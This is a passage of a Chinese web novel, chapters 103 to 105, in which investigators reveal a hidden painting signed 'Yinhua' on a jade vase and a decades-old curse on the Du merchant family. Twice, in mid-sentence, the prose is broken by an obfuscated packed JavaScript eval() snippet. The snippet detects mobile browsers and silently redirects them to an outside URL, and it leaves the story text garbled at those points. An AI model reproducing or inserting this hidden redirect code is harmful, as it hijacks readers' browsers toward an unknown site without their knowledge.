陶明案又将诸人的注意力都引到了那群惨死坑中的尸体们,说道:“自然跟周尚书之子周裕之扯不开联系,因为,这处融玉阁就是周裕之来芳樱楼寻欢作乐时常住之地,所以这些惨死的尸体,多半是他害的。” “周裕之也是芳樱楼案中最可疑的点,当日火灾,客人中唯有他一人逃出生天,手里还攥着沾了血的斧子。” 关阇彦听出了他的言外之意,算是替他说了出来:“因为有人在埋尸坑上撒了化尸水,才让别人发现周裕之更多的罪行。而能做出此事的,目前唯有安南都督。这一系列行径环环相扣,倒像是……” “安南都督与周裕之有着某种仇怨。” 陶明案颔首:“他们二人关系匪浅。估计也是因为这层关系,安南都督才会跟芳樱楼建立了联系。” 关阇彦暗暗思忖,莫非关昀洲昨晚种种诡异行径,是为了传信他人,叫他们在芳樱楼找到尸坑,撒下化尸水的么? 问题来了,关昀洲是什么时候跟周裕之相识的?他是怎么发现周裕之的秘密的?这么隐蔽的尸坑,他是怎么发现的?还是说,这个尸坑根本不是周裕之做的,跟关昀洲有关系的另有其人? 思绪纷乱,关阇彦不得已只好先倾向于前面几种猜测,认为,关昀洲跟周裕之间着不可告人的恩怨。毕竟,这是他目前唯一能深入的线索了。 说到此处,他也已经对那只如意冰玉瓶产生了极为浓厚的兴趣。 陶明案神色隐忍,望着尸坑的方向道:“若那些真是周裕之所犯下的罪行,我必饶不得他。” 章念也面露哀色:“是啊,都是无辜的姑娘,甚至……甚至,还有个年纪不过十岁出头一些的……” 魏郁春闻言心中触动,她目含悲悯之色,在尸坑上停留了几刻,迅速找到了那具最为可惜又太过特殊的尸身,小巧纤细的骨骼已经风化了,原本该光鲜亮丽的衣裳早已被氧化,成了单薄粗陋的烂布。 尸骨的边缘栽着几丛亮黄色的阳春菊,从她的手心处发芽,穿过了她的肋骨,正开放着,看着有种凄凉的美感。 关阇彦忽地有种奇怪的感觉,因为那丛阳春菊很是熟悉,简直……就像是几日前,他在杜府搜账房先生刘春盛的屋子时,在花瓶里看到的那只一模一样。 这个丫头已经死了至少一年,他们二人怎么可能有联系?关阇彦撇去糟糕的念头,觉得这不过是巧合罢了。 103. 西仓战役 陶明案目光诚恳地看向魏郁春跟关阇彦二人,明白他们就是解开谜题的主心骨。 他道:“周裕之出事后,便被周尚书深藏到了他处,任何人都无法找到他。并且遭遇此难的人多数死亡,唯有当夜并未留在樱楼的艺伎,和一同在外陪同她们外出与客人游玩的龟/头伙计还活着,证词无效。” “所以,我们若是一日找不到周裕之,此案就一日得不到破解,并且此等祸害留在世间,不知要再害多少无辜人丧命。并且,周裕之更是绊倒周尚书在朝势力的关键,我必须全力以赴。如今终于发现安南都督与周裕之有牵扯,说不准可以通过这条线寻到周裕之,抑或是他更多祸患世间的证据,以此向周尚书一党施压。” 关阇彦冷冷哼道:“想得倒是轻松,绊倒周尚书的势力无异于要将整个京城掀个底朝天,不,不只是京城,整个中晋都会因此震上几震。圣人有所顾虑,无非也是忌惮于此。光靠周裕之谋害无辜伎人这等没有根据的事情向上头施压,陶司直倒是敢想啊。” 陶明案眉心一颤,他忽地看向墨色的帘子,问道:“不知阁下是何等人物?” 关阇彦不予理睬,信口道:“想要与我合作,第一条规矩就是,禁止打探我等身份。” 陶司直自知理缺,他撇过头去,道:“阁下是答应与我合作了么?” 关阇彦笑得更加森然了些,可其中又带着几分真心实意的轻松笑意:“你是在威胁我么?” 章念抖了三抖,连忙打圆场:“阁下误会,误会!” 魏郁春看到关阇彦那副又要无差别毒击人的模样,不禁头疼,她听不下去,插道:“这种关头,还是不要再吵了。打开箱子的决定权在我。” 关阇彦闻言,居然真的不语了,在别人看不到的地方还狠狠翻了只白眼。杜明堂抿嘴忍笑,而一旁的陶明案和章念显然有些懵圈。 这二人不是主仆关系么?怎么又给人一种……魏郁春更能压得过关阇彦的感觉? 气氛稍微缓和后,魏郁春道:“我们钦佩陶司直勇谋双全,但我们的目的终究跟你不同。” 陶司直点头,也早就预料到了这个情况:“我承诺姑娘的补偿一切作数。” 这是意思着会给好处了? 杜明堂的商人头脑飞速运转。 魏郁春道:“我们目前都对安南都督有疑心,陶司直心系芳樱楼,而我们则在意的是,安南都督在昨晚的芳樱楼前到底做过什么事情,传过什么消息。因此,我们才想要通过昨晚与之随行的魏氏来打探。而且,我们甚至完全不知如意冰玉瓶的玄机。” 陶明案一一理清楚,吩咐章念拿出笔墨记载下来:“章司务,第一,查清楚安南都督昨晚用灯传信的细节,追踪铺子,寻到卖灯之人。” 关阇彦跟杜明堂看到陶明案仅凭魏郁春寥寥几语,便能准确理清事件脉络,书写出计划时,他们都不仅惊叹了一番。 紧接着,陶明案那副胸有成竹的模样也令他们想到,其仅在早上不到两个时辰内便能勘破“钱雀”身份玄秘一事,可想而知,他搜人的本事是有多精进。 二人目光交接,想到了一件手里还没解决掉的麻烦事。 杜明堂怂恿起来:“就这样不行,陶司直你自己也说了,昨晚安南都督传信一事,可能是为了安排下手在楼中撒化尸水。追踪到的结果撑死是验证猜想罢了。” 陶司直面对他突然加价的行为并不意外,脾气甚好地坦然接纳:“说得在理,那二位还有何需求?” 章念绝望闭眼。 关阇彦坏笑一声:“好,陶司直这等诚心,我笑纳了。” “开弓没有回头箭,不如先探秘完再谈?” 他这是要强买强卖的意思,一旦开箱,陶司直就必须满足他的一切要求。 章念眼睁睁看着自家司直又要掉进坑里,他还拦不住,脸上面露难色。 关阇彦也等不及了,他喊住魏郁春:“冯姑娘,开箱吧。” 章念笑逐颜开,赶忙将提前准备好的东西端上来,红色的绸布包裹着长条形的窄箱子,众人你看我、我看你地围着此物,唯有魏郁春有动手的资格。 她神情沉着,利落地分析了箱上的机关,竟是无数只字谜组成的枢纽铁锁,字谜无不与诗会落幕主题息息相关,她妙计频出,灵气四溢,纤纤玉手上下拨动字谜转盘,不过须臾,箱子自动弹开了盖子,一只泛着青玉色洁白光泽的冰裂瓷瓶出现在了眼前,瓶子双耳修饰着一对玉如意状的抓臂,淡雅却又精致。 杜明堂和章念都是个聒噪性子,两人看到魏郁春那阵眼花缭乱的操作,忙不迭惊呼:“冯姑娘天赋异禀!” 二人发现他们异口同声的动作,不约而同地抬眼互望,无声间,双方眼神好似都清澈了不少,活像看对了眼儿似的。 这如意冰玉瓶虽名贵,但里里外外都被釉色罩得严严实实,根本看不出个好歹,也不像是有什么惊天大秘密的样子。 陶明案一向稳重的姿态都虚了虚,他骤紧眉头,不信邪:“或许东西在瓶内。” 章念闻言,端起半臂长的瓷瓶,微微晃了晃:“没声儿啊。” 陶明案呵斥其放下:“此瓶易碎,章司务还是速速放下的好。” 章念有些气不打一处来。 “我说陶司直你也是真的沉得住气,我们忙活这么久,好不容易以为要揭开大秘了,结果啥也没有,我要着急死了!这个瓶子瓶口小得跟个芝麻似的,里头万一塞了什么纸张棉花之类的东西,肯定晃不出声音,但是里头黑黢黢一片,啥也看不见。我看不如将其打碎,一探究竟好。” 若说陶明案是个死脑筋,那章念就是个缺心眼。 关阇彦真的有些受不了他们了,他放弃当幕后人的念头,一把推开挡在前面的陶明案跟章念,不耐烦道:“胡闹。” 站在背光处的章念挪动了步子,自临溪亭外照进来的夕阳扑洒在冰玉色的宝瓶上,泛出超乎想象的光泽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447446|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那些光泽随光影在人的视野中流动,同样冰色的底调上,凭空多出了闪动白亮光点的百般颜色,这些颜色组成不同的线条,再汇聚成小巧精美的图案。 魏郁春连忙叫住众人:“你们快看冰玉瓶上的图卷。” 杜明堂眼冒金光:“无价之宝啊!这些图案寻日里不出现,但能在光亮的照彻下悄悄现形,而且不同角度看到的图案还不一样呢!” 陶明案伸手过去,摩梭着其冰清入骨的质感,道:“此瓶工艺刁钻,图卷是原本就有的,但不知用了什么手法将图卷上的东西脱纸到白坯上,最后用了冰釉将其封存了。” 魏郁春也从未见过此等稀罕至宝,对此愈发在意,她观察力敏锐,在众人还在转动瓶身,寻觅画卷奇处的时候,她在瓶底闪烁不已的冰色下,看到了两只若隐若现的极小的名字——“隐华”。 她又喊住众人:“瓶底的名字,或许是这张封存于瓶面上的画卷的作画人。” 关阇彦瞅着这只名字,莫名觉得耳熟,以为是京有些名气的一位画师的名字,但岁月悠久,他离开京城太久,最多有些印象,但却难以支撑他回忆起来除此以外的事。 陶明案跟章念原先都不是京人,这种有些名气但销声匿迹太久的画师,他们一点印象都没有。陶明案细细思忖,觉得以他这么多年来行走大理寺的经验,若此画师有名,他不可能不知道,一时陷入迷茫。 在众人一筹莫展之刻,一直没派上什么用场的杜明堂面露怪色,言语充满着不可置信的色彩:“隐华?是他……隐华画师。” 关阇彦确信着,这位隐华画师,应当是与他和杜明堂都有交际的一个人物。 杜明堂忽地憔悴起来,有些沧桑:“这是多少年前的一个诅咒了。其实人人只知京城李杜两大商富,却不知四十多年前还有一户小有名气的汪姓商户。” 既是四十多年前的事,陶明案甚至还没出世,自是不清楚这桩事。 “当时李氏还没起来,汪氏跟杜氏能力相当,都是小有名气,但又不至于叫人家喻户晓。汪氏的当家人跟杜氏的当家人是好友,不过,汪氏更有潜力,所以汪氏一直明里暗里帮衬杜氏。朝廷那时征战戎域,调动粮草,然战场西仓部节节败退,粮草稀缺,城守不住,先是百姓易子而食,后是食兵养兵。” 这便是赫赫有名的西仓战役。 说到此处,陶明案自是明白了:“我想起来了,西仓战役中,汪氏响应朝中号令,集结中原商户,成立西仓商道,转运粮仓,救助戎境困民和兵士,立下了赫赫战功。可后来却被查出汪氏贪污,往日荣耀悉数塌溃,被判了举家抄斩。” 杜明堂听到此处,他唉声叹气起来,脚步差点抖动地站不住,嗓子里也像是塞了十年老痰,卡得说不来一句话,呜咽呜咽,好似要哭出声音。他很纠结到底要不要继续说出这个骇世丑闻。 关阇彦曾经见过杜明堂这副模样,唯有两次,一次是现在,一次是十多年前的一个深夜。 104. 画师之谜 幼时,杜明堂这个瘦鸡又被人欺负了,可惜那日关阇彦并不在学堂,那帮小畜牲好似就看准了这个时机,寻日里不敢招惹关阇彦的气,竟然一把子都发泄到了杜明堂身上。 他被凑得鼻青脸肿,趴在地上起不来,学堂开课了,他根本无力走进教室,最后还是先生发现的他。 先生了解事情情况后,怒火中烧,结果又听说了揍人的那帮小子非富即贵,远比杜家厉害得多了,他一个先生怎么惹得起,于是变了脸,说了一通跟迷魂汤似的话给杜明堂听。于是向来“铁面无私”、“疾言厉色”的先生居然给杜明堂放了几日的假,叫其回家请个医生治病,修养好了再回来。 幼时的杜明堂哪懂什么“息事宁人”,还傻乎乎地觉得先生人好,给他放了假,这样他就可以躲着那帮追着他打的穷凶极恶的公子哥们了。 回了家后,看着儿子惨兮兮的模样,杜咏跟杜夫人痛心疾首,却没得办法,他们跟先生一样,不敢招惹的人自是绕着走。成年人的世界很复杂,他们可以因为一个虚无缥缈的威胁,立马改变了道德标准和自以为已经站定的立场。 杜明堂傻乎乎地听着爹娘的话,不出去乱说话,家里请了医工看护他,甚至为了补偿儿子,还请了善于木工的匠人给他做玩具,还有一些唱戏的班子在家里吆吆喝喝。杜明堂就这样在家里安分了几日。 那时祖父病重着,躺在床上,一个月估计也就醒来个三四天,也是巧得妙,就是在这几天里,深居杜宅的祖父竟然苏醒了。看护杜明堂的医工一时忙不过来,常常把他带在身侧,一起去照顾祖父。大家都说,祖父这是心疼家里的幺儿受了委屈,没人撑腰,给气醒了。 的确,杜宅祖父的确很恼怒,但却不是心疼孙子,却是痛恨他的窝囊。祖父一气之下,砸烂了他所有的玩具,气喘吁吁地举着拐杖,打跑了唱戏的班子还有杜明堂喜爱的匠人。 祖父将杜咏和杜夫人赶出门外,叫杜明堂跪在自己面前反省:“荒唐荒唐!堂堂杜家子孙,如此怯弱,成何体统!我杜家的基业将来岂不是要毁于一旦,你个败家子!” 杜明堂被吓得屁滚尿流,寻思着自家在京城撑死算个小富小贵,能有什么基业要继承的? 那祖父一语惊人,讲述了那个恐怖的故事:“孙儿,你永远不知道祖父为了杜家付出了多少!西仓战役,汪氏救民生,一步登天,你不知祖父有多嫉妒……是祖父偷换汪氏账目,利用他欺骗他,才令其罪恶滔天,难逃圣怒……” 祖父反反复复说着这些罪孽,可他却引以为傲,不知悔改。他说,汪氏多么信任他,而他却又是如何在他的眼皮子底下胡作非为。他说,他是如何背叛汪氏的,而无辜的汪氏最后落得的下场是多么惨烈。他还说,至死,汪氏还不肯相信他的所作所为,只以为他是被忌惮汪家的虎豹豺狼所蒙蔽。 天知道,这些故事给年幼纯真的杜明堂造成了多大的打击。而祖父却喝令其每晚都要跟着他一起诵念这些所谓的“丰功伟绩”。 祖父又倒下了,一睡不醒。杜咏又何尝没有深受其害过,可到底未曾丢失自我,宁可没出息些,也不愿意干出像父亲那般罪恶滔天、杀人灭口的事。儿子出生后,父亲病重了,他也一直瞒着杜明堂这些充满血腥的杜家罪史。可父亲以死相逼,他顶着孝道的压力,无法阻止这一切。 杜宅祖父倒了,杜咏跟杜夫人才得以将儿子从阴森的深宅接出来,可儿子已有心里阴影,难以消解,也不愿意再去学堂了。 后来,关阇彦家事了却后,回到京城的学堂,却发现杜明堂不见了,得知有人趁他不在肆意欺负他,他当天就挥着拳头把那群畜生揍得满地找牙,说“再也不敢”。也因此,他被父亲和学堂先生罚跪了一整个晚上。 小畜生们的家里一听,遭了,蠢小子没有眼力见,竟惹上了都督家的儿子,这不得赶紧搞清楚情况,给人赔罪,收拾残局?! 隔天,杜咏开门,发现一帮脸上一块青一块紫,要么断了手,要么瘸了一边腿的小子齐刷刷、惨兮兮地立在他大门口,手里还拎着家里人准备的名贵礼品,当着杜家所有人的面还有杜明堂的面请礼谢罪。 那叫一个震撼。 毕竟那时的杜家不算太风光,至少没有这些小子们的家里风光。这事够杜家周围的街坊邻居陆陆续续嗑着瓜子,唠了要一个月。 杜明堂这才稍微缓解了心结,重新步入了学堂。得知了关阇彦为他做的事情,感动得痛哭流涕,晚上都非要窝人床上才睡得着。 也是那个夜晚,他做了噩梦,梦里都是祖父口中的西仓战役、汪氏冤魂,哭声止不住,浑身战栗,还尿了裤子,叫关阇彦至今都对此印象深刻。 杜明堂半睡半醒着,他心思单纯,哪里有什么防人之心,而且身边的还是自己最好的朋友,他把在家里的遭遇说予了关阇彦听,越说越是止不住喷涌的情绪,又怕引来其他学生的注意,他拿出爱随便啃东西的老本行,往嘴里塞了一大块棉团嚼着,呜呜呜的,又可怜又搞笑。 可见多识广的关阇彦却平静地看着他,说着:“前浪拍后浪,演绎着大浪淘沙的故事。汪氏惹人眼红是事实,就算不是杜家,也会有别的人做出这些事。” “事已至此,又为何自揽罪责替人愧疚?” 这些话更是成为了后来杜明堂治愈心结的信条,十多年来了,片刻未忘。 过了一年,杜宅祖父大丧,有人往杜宅送了一封来历不明的密信,密信内容很是直白,大致意思如下—— “我是汪氏的逃出灾难的唯一后代,字隐华,人称隐华画师,前来复仇,他给杜家下了两个诅咒。第一是,诅咒杜家祖父生不如死、背负罪孽而死。第二是,以其人之道还治其人之身,报复杜家,将西仓战役的真相公之于众。诅咒应验的前提是——他留下的画作。若是他的画作现世杜家后代的面前,诅咒便会一一应验。” 密信的落款人就是“隐华”。 杜家恐慌不已,可思来想去,杜家祖父在很多年前就得了重病,而这份密信却掐准祖父的丧日送来,就是故意恐吓捉弄他们的。 但那些秘密一日不被灭除,杜家便一日面临“欺君之罪”的威胁。杜家还是派人去搜寻了这位“隐华画师”的来历,结果当然是不了了之了。后来,杜家人想着,汪氏一族早在四十年前便都被抄斩干净了,怎么可能留下后人呢? 时间渐长,杜家人便忽视了此事,但杜明堂却耿耿于怀多年,还跟关阇彦提过一嘴“隐华画师”的诅咒。关阇彦也派了关系去搜寻此人讯息,却还是无果。 多少年过去了,关阇彦和杜明堂各自走南闯北,都再未听闻过此画师的名讳,更不谈有没有找到他留下的图画。 如今,“隐华”二字再度现世,关阇彦甚至还以为他是京中画师,因为有些名气才给他留下了些许印象。杜明堂反应快很多,也因为他的恐慌,关阇彦才被感染,混沌的记忆重新复苏。 遥远的诅咒席卷而来,所携的力量还是不减当年。杜明堂大脑一片空白,动作越来越哆嗦。 关阇彦挡到了他前头,心想,此事深系杜家命根,堂而皇之地暴露出去,引来的祸患只会更多。这位陶司直又明察秋毫,铁面无私的作风可比那学堂先生板正得多,安知他会不会挖出杜明堂的身份来,然后顺手灭了杜家? 杜明堂也是蠢,心理阴影一出来,寻日里商场上的老谋深算就这么没了,若是无人兜底,他今日是必死无疑。 不仅是陶明案和章念,魏郁春也不明他们二人在捣鼓什么事,但一定是意料之外的事。 关阇彦强装镇定,微微一笑,淡然置之:“是这样,西仓战役中汪氏灭族之事波及商户多矣,贪不贪污,难以说清。毕竟能有哪户高门纨绮真能做到清清白白、两袖清风?所以,那场灭族案里深系商户互殴猜忌的戏码。” 陶明案其实对这桩战役和案件不熟悉,他虽觉得奇怪,可顺着关阇彦的话一想,现实的无奈令他不得不承认,这的确是常有发生的事。 同时又令他想起来自己的处境,心道,互殴猜忌,又何尝只是发生在商场里,官场更是如此。 关阇彦继续解释:“汪氏一门虽遭灭门,却还有一个后人侥幸逃脱了,那人心有不甘,想要报复涉案所有商户,于是以‘隐华画师’之名,曾经向这群商户散布了个诅咒,凡他的画作现世,这些商户也会跟汪氏一样,遭戮门之灾。” 他省去了第一个诅咒——杜宅祖父之死,如此声称,自也是为了保住杜明堂的身份。 陶明案听得出神,然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447447|169444||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后盯着关阇彦半晌,有些怀疑道:“阁下果然消息敏锐。” “陶司直谬赞了。” 关阇彦的反应滴水不漏:“实不相瞒,那些商户这么多年来还是惴惴不安,托我们调查此事,但却不了了之,我这小弟因此还落了心疾。叫司直见笑了。” 陶明案辨不出个好歹,自是打消了疑虑。 章念闻言,恍然大悟:“我还奇怪为什么你们也要和我们一样调查安南都督呢,你们原来是那种主顾花钱请来办事的门客吧?嘿,是谁派你们干这个的?安南都督做了什么其他可疑的事?” 关阇彦一笑置之,轻松道:“保密。” “好了,秘密已现世,该轮到我们提条件了。” 他笑里藏刀着,看向陶明案。 “帮我们找一个人。” “何人?” “原杜宅的账房先生,刘春盛。” 章念对此很有印象:“前几天刚死了鬼算盘儿子的大商户杜家?” 都被人当着面蛐蛐了,杜明堂却还是无知无感,权当作没听到,还沉浸在自己的恐惧里无法自拔。 此时,陶司直也纳闷了,怎么突然从安南都督跟芳樱楼的事扯到了毫不相干的杜家了。 可没等他说话,关阇彦便制止了:“不可多问。若此事办好,我们兴许可以继续合作。” 既开出这个条件了,陶司直自然不会拒绝,他鲜少露出一个笑容,淡得叫人活似刚喝了一口没味道的白水:“君子一言,驷马难追。” “我这边还有个重要的消息可以告诉你们,”他忽地变得大方起来,不过总给人一种不怀好意的感觉。 但这只有吃过他太多亏的魏郁春能察觉到这种感觉。 陶明案和章念四目齐齐一亮,忙道:“阁下速速告来。” 老奸巨猾的蛇头孔雀摇头摆尾,甩着一只手,用一副“无可奉告”的姿态,给人画起了大饼:“这是另外的价钱。我不是说过吗,你们事情办得好了,我才愿意和你们联手啊?毕竟我也想调查安南都督。” 章念脸红:“你!奸商!” “嘿,过奖过奖!” 陶明案叹息:“阁下若是吊我胃口怎么办?” “这个如意冰玉瓶用处很大不是吗,你难道不想将其占为己有么?” 陶明案感到不可思议:“你愿意将它给我们?” “对我来说,这个东西其实已经没有用处了,重要的消息我已得知,并且串通了更多有效的线索。所以我把它给你,你大可自己去查里头藏着的谜底,不过效率不保证哦,很客气了。你何时帮我们把人照着了,就可以和我们直接换取这个线索,与我们进一步合作。你若不信我说的,大可拿着瓶子离开,亲自去试试?” 关阇彦笑意冷然,他开的条件很诱人,但又藏着暗暗的讥诮情绪。 这些寒暄话转换过来,就是,他比陶明案知道更多线索,所以查安南都督的进度会更加快。陶明案不信他,完全可以自己领着东西去查,但进度一定会落在他身后。届时可就不是同伴的关系,而是竞争关系了。 若是陶明案利用自己的人脉手段帮他把东西办好了,就能直接跟他们换筹码,甚至还能一起合作,人多力量大,更能成事。而且,他已经足够让步,瓶子留给陶明案,明示着这便是放在他这里头的合作诚意。 哪个划算,正常的人都明白。 陶明案纠结片刻,想到自己在芳樱楼案上压着的巨大代价,他不得不咬牙答应:“冰玉瓶暂留我处,刘春盛我尽力搜寻,找到了我会带着人跟瓶子来与你合作。” 关阇彦满意:“陶司直果然是能成大事的人。” 他这一套操作行云流水,魏郁春看着他,越发觉得他身上浮现出奸诈小人的影子,讥笑片刻,又想道,自己曾经果然是太过沉浸于幻想,这个男人根本没有想象中那么好,简直跟南禺时判若两人! 众人互相留了传信工具后,在日落前,一拍两散,各回各家去了。 杜明堂自从芳樱楼出来后就一直魂不守舍着,好似魂魄真的被楼中的怨鬼勾走了。 他脸色极差,木偶般坐在车棚里头,摇摇晃晃,任谁喊他都不答应,只是一直重复着“他要回家、他要回家”的话。 105. 双邪恶咒 回了杜宅后,杜明堂匆匆忙忙走入深宅。自从祖父过世后,杜老爷跟夫人心忧儿子触景伤情,于是便派人将此地封锁了,多少年过去了,这里便成了一处人人遗忘的禁地。 祖父也葬在里头,唯有每年清明时分,老爷夫人才会派人往里头烧些香火,打扫杂草。 而杜明堂,则再也没有亲自踏入过这片噩梦之地。 但他这次方回杜宅,便直奔深宅,众人皆是诧异,可到底没有人拦他。 因为杜明堂早不是小时候那个人人可欺的小瘦鸡了,他是京城鬼算盘,看人下菜,精明算计,又万分执拗。他想做的事情,任何人都拦不得。 关阇彦沉着个脸,跟着杜明堂的脚步一起入宅,模样看着很是吓人,他这个人不正经的时候还好,一正经起来便不好惹。 他一身玄衣,刚换的墨色长帘席帽冷冰冰地罩在他行色匆匆的身上,风声潇潇,轻纱勾勒着他挺立的鼻骨与明晰的面颊,浑身好似有万将为之策马奔腾的架势。魏郁春也不禁为之骇然,她不明所以地跟着,纵然心中有万千疑惑,她却明白这不是个好问出口的时机。 杜明堂启开了深宅外的重重铁门,眼角猩红,却死死顶着压力不肯松懈,憋得脖子上青筋暴现。他扫视院中一切,这里还是老样子。跨过祖父的坟头,他嫌恶却又畏惧地瞥了一眼,然后径直踏入了曾经堆放祖父遗物的屋子。 他疯了一般,也不顾他平时最重视的仪态了,在灰尘遍布的屋中游走,翻翻找找不断。 关阇彦间满屋烟尘,皱眉不语,然后又默默退了出去,跟魏郁春一起守在外头,等杜明堂自己厘清手中事物。 等待的过程中,萦绕在关阇彦浑身的煞气减弱了不少。 魏郁春看准机遇,问道:“你们到底怎么了?发生了何事?” 关阇彦撇头低眼看她:“此事你便不用多问了,冰玉瓶秘密已揭,最迟明日我就会找人安排你走的日程了。” 这样讲话的关阇彦,一下子让魏郁春感到不自在了。突然觉得,自己还是更熟悉从前那个嘴臭又欠揍的关阇彦。 她被堵得无话可说,可又莫名觉得失落,她心中大骂自己有病。明明是自己闹得死去活来,想要离开他,怎么现在真的要走了,她还舍不得了? 但她很快明白,这种“舍不得”,多半不是因关阇彦而起。 她本打算帮他办完事情后,拿好报酬就离开,去做自己的事,去复仇,还是见母亲,总归有一条路她能走。可现在,母亲死了,作为女儿的她却不知道,她懊悔,愤怒,甚至有些无言去母亲的墓地看看她……今日一整天,她到现在忙得如同热锅上的蚂蚁,情绪高度紧绷,以至于,她到现在还无法分出情绪来为母亲的死感到痛哭流涕,但她明白,总有些日日夜夜,她会回归到记忆的深渊,去想念母亲,与她诉说女儿的不孝。 她本就不甘心,母亲死去了,唯一的念想消失了,万念俱灰。 她参宴后,得知关阇彦已经在想办法对付假的安南都督,届时,魏澜清也一定会被牵连。接触陶明案后又得知,这对假夫妻竟与芳樱楼这等悬案有牵扯,一旦案子办好,一切都是水到渠成,魏澜清必死无疑…… 她看出了关阇彦意欲与陶明案合作的苗头,心里便痒痒的。 过了这个村便没了这家店,比起自我寻觅出路,或许选择和他们一起更有保障……但她到底要以什么样的身份掺和进来?这是一开始便令她头疼的问题。 她望着关阇彦高深莫测的侧身,想起那个夜黑风高的夜晚,她与他说过的“你让我很有负担”,她不禁闭眼,怪自己曾经太过冲动,理应给自己留些后路的。 她的目光早被关阇彦察觉到了,可是他没有转过身,哂笑:“你盯着我在打什么鬼主意?” 魏郁春一惊,险些没站稳,然后她瞥过眼,骂道:“少自以为是,我根本没有看你。” 关阇彦笑了一声,情绪不明,也不搭理她了。于是,魏郁春思绪被打断。 杜明堂终于从屋子里出来了,灰头土脸的,脸上挂着两三道泪痕,眼神有多空茫便有多空茫,泪痕被胡搅蛮缠的灰尘贴着,眼睛流着的活似是黑血。 他的模样叫人吓了一跳,一向我行我素、直言直语的关阇彦都赶忙上前:“你到底在搞什么,把自己整成这副模样?” 谁知道,杜明堂举着手里的一张上了年份、泛了黄的画帛,面向苍天,期期艾艾:“诅咒都是真的……都是真的……” 关阇彦皱着眉头,看向杜明堂手中的画帛,上面有用朱红色笔侵染的两个小字——“隐华”。 他瞪大双眼,显然也是无法相信。 若是隐华画师的画作出现在杜家后人的眼前,那便是诅咒应验的时间。 一切发生得突然,关阇彦也未想到杜明堂着急忙慌要找的东西,竟然是这个,眼前所发生的事情都没有避着魏郁春这个外人。 如今要避却也来不及了。 魏郁春聪慧敏感,她联想到樱楼所发生的一切,错愕道:“莫非,汪氏灭族留下来的后人,隐华画师所诅咒的商户……难道便是杜家?” 怪不得在方才,她就隐约感觉到,杜明堂突然恐慌,哪有关阇彦说的“落下心疾”那么简单? 听到魏郁春发问,关阇彦闷腔半晌,不多解释:“嗯。” 反正只要不说,魏郁春也不会知道杜家那些罪孽的详实过往,如此模糊,甚好。 可魏郁春还在洞悉:“你们说,被诅咒的商户多矣……可这么多年来,隐华画师的画作却一直默默无闻地躺在那只瓷瓶上,无人问及,甚至无人发现,也无人理解隐华二字的寓意,这不合常理。是不是,被诅咒的只有杜家?” 她一语道破秘密,关阇彦锁住的眉头越来越深,他淡淡一笑:“四十多年前的事,谁能说得清?有些东西本身就不该搬上台面来说,无人问津不是很正常吗?” 魏郁春默住。她也识趣地离开了他们身边,去了其他地方独处。 此时深宅内,杜明堂睁着那双空洞茫然的眼睛,拍着关阇彦的双肩,哀道:“多年前,这些诅咒被送进宅子,我们全家还以为是个笑话。如意瓶上的画现世了,就在我面前。隐华说,他要以其人之道还治其人之身,杜家的账本丢了……丢了,就跟四十多年前汪氏所经历的那样。我不信邪,回到这里,祖父房间里竟然真有这幅邪图,我们竟然一直没有发现……后来祖父真的死了!这都是命!” 关阇彦沉闷着气压,道:“你冷静。世上没有玄乎的事,你根本不知道这张邪图到底是什么时候就放进了屋子,你也不知道什么时候,杜家的后人亲眼看到了这张图卷才导致诅咒应验。所以,你又凭什么断言诅咒便是真的?” 杜明堂的阴影若夺魂的恶鬼死死缠着他,他虚声哀嚎:“若是真的该如何?” “那就去亲手撕碎命运,”想来,关阇彦不得不承认,在南禺,他被魏郁春感染了很多,那女子最是不信命,最是傲犟,他口口声声说着躲不开命数,却还是在遇上这等事情的时候,无意识的 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“嗯,”关阇彦颔首,“既然陶明案那头在帮我们找跟账本有关的刘春盛。我们也别闲着,不如就从周裕之身上着手。” “陶明案不也说了吗?周裕之被雪藏了,他都找不到,我们怎么找?我看比查刘春盛还难。” 关阇彦自信了,他抱胸而立:“听说冯迎春在春桃酒宴上帮我们埋了个大坑,她帮我向魏氏试探关昀洲昨晚用灯传信一事,魏氏全然不知,但冯迎春编了个芳樱楼上住鬼影佳人、夫妻二人对灯传情的鬼话,让魏氏怀疑了关昀洲。” 杜明堂压根没想到还有这桩精彩的事,他刚要感叹魏郁春做事厉害,但立马反应过来:“杜兄我脑子也就算账好使,查案子一窍不通。我有些不明白……这跟查周裕之有什么关系。灯市的事也拜托了陶司直去落实呢,不还跟刘春盛的一样没结果吗?” 关阇彦不以为然:“重点不在灯市,而在怀疑上。只有这样,魏氏才会回去把宴会上的所见所闻都告诉关昀洲,灯市关联的便是芳樱楼化尸水一事,更是跟周裕之有关的事。你说,关昀洲不会恐慌么?” 杜明堂:“关昀洲跟周裕之貌似有仇,不然也不会费尽心机害周裕之。我们跟陶明案找不到周裕之的下落,可如今摇身一变,成了安南都督的他可不一定了。” 关阇彦笑得不怀好意:“先让我这好弟弟去找人算了,我们静观其变即可。” 杜明堂感叹道:“螳螂捕蝉黄雀在后,都督你够腹黑的!” 关阇彦尽情享受着杜明堂的追捧,然后细算了一番时间:“距离关昀洲大婚的日子还有不到七日了,也够他去寻人了。若想打听到周裕之下落,多半还是要混入礼宴。” “横竖都躲不过这关呗,”杜明堂扶额,“冯姑娘身份也暴露了,我们呢更不提了,想想到时候再派哪个倒霉蛋去吧。” 关阇彦正有此意:“不错,你速速着手去准备。” 